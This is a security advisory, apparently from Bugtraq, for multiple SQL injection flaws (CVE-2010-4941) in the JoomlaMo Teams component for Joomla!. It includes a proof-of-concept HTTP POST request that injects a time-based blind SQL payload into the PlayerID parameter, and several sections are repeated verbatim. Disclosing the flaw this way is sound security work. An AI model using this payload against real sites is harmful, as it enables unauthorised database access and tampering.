Joomla! Teams Component Multiple SQL Injection Vulnerabilities
BID:42335
Info
Joomla! Teams Component Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 42335 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-4941 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 10 2010 12:00AM |
| Updated: | Oct 11 2011 08:30PM |
| Credit: | Salvatore Fresta aka Drosophila |
| Vulnerable: |
JoomlaMo Teams 1_1028_100809_1711 |
| Not Vulnerable: | |
Discussion
Joomla! Teams Component Multiple SQL Injection Vulnerabilities
The Teams component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Teams 1_1028_100809_1711 is vulnerable; other versions may also be affected.
The Teams component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Teams 1_1028_100809_1711 is vulnerable; other versions may also be affected.
Exploit / POC
Joomla! Teams Component Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example data is available:
POST /index.php HTTP/1.1
Host: targethost
Content-Type: application/x-www-form-urlencoded
Content-Length: 205
FirstName=mario&LastName=rossi&Notes=sds&TeamNames[1]=on&UniformNumber[1]=1&Active=Y&cid[]=&PlayerID=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(99999999,NULL),NULL)))&option=com_teams&task=save&controller=player
Attackers can use a browser to exploit these issues.
The following example data is available:
POST /index.php HTTP/1.1
Host: targethost
Content-Type: application/x-www-form-urlencoded
Content-Length: 205
FirstName=mario&LastName=rossi&Notes=sds&TeamNames[1]=on&UniformNumber[1]=1&Active=Y&cid[]=&PlayerID=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(99999999,NULL),NULL)))&option=com_teams&task=save&controller=player
Solution / Fix
Joomla! Teams Component Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! Teams Component Multiple SQL Injection Vulnerabilities
References:
References:
- Joomla! Homepage (Joomla!)
- JoomlaMo Homepage (JoomlaMo)
- Teams 1_1028_100809_1711 Joomla Component Multiple Blind SQL Injection Vulnerabi (Salvatore Fresta aka Drosophila